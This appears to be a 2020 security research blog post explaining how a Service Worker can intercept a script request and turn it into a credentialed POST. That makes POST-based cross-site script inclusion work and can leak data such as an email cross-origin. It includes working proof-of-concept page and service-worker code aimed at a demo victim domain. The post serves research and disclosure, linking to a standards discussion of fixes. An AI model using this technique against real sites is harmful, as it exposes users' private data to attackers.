Exploiting POST-based XSSI
March 2, 2020
We know, more and more client-side attacks are dying. But sometimes, with introduction of new features, an unexploitable becomes exploitable. Yes, combined with the power of Service Worker, XSSI is no longer limited to GET requests.
This essentially means we can also include resources with POST requests and CORS-safelisted headers. The idea is simple- intercept the request and modify to send no-cors POST request. For demonstration purpose, I’ve built a rough POC at https://cm2.pw/poc/chrome/xssi.php
It roughly looks like
<script>
navigator.serviceWorker.register('sw.js');
window.addEventListener('DOMContentLoaded', event => {
if(typeof(email)==='undefined')
location.reload();
else
alert(email);
});
</script>
<script src='/intercept'></script>
Where sw.js is as follows
self.addEventListener('fetch', event => {
const url = 'https://victim.cm2.pw/xss?text/plain';
if(event.request.url.endsWith('/intercept'))
event.respondWith(fetch(url, {
method : 'POST',
//mode : 'no-cors',
credentials: 'include',
body : 'xss=email="[email protected]";',
headers : {'Content-type':'application/x-www-form-urlencoded'}
}));
});
Things worth noting here are
- The
<script>
URL, if requested directly, returns 404 Not Found - The request is intercepted and a POST request is sent to vulnerable endpoint instead
- The returned content is valid JavaScript, reason we’re able to read email
The only purpose of <script src>
above is to serve as a middleman, allowing us to intercept and modify the request on the fly. And, it doesn’t necessarily have to be the vulnerable endpoint. So, with sw.js, we intercept the initial request and send one as required to the vulnerable endpoint. In this particular demo, a POST request with body set to email. We’re sending a no-cors
request, meaning we cannot really read the response. However, as long as the response is valid JavaScript and has some side effects, it’s possible to leak contents cross-origin. The response here is identical to JavaScript variable declaration, email
is assigned a value which we can access directly under window
scope.
Interestingly, I’ve observed many applications setting Content-Type
to whatever was sent in Accept
header. Though, not much of help but definitely a savior when CORB triggers.
Actually, we don’t normally find XSSI these days and there’s already enough protection in place. Therefore, an issue has been created in public on GitHub to discuss about potential solutions to the standard https://github.com/w3c/ServiceWorker/issues/1509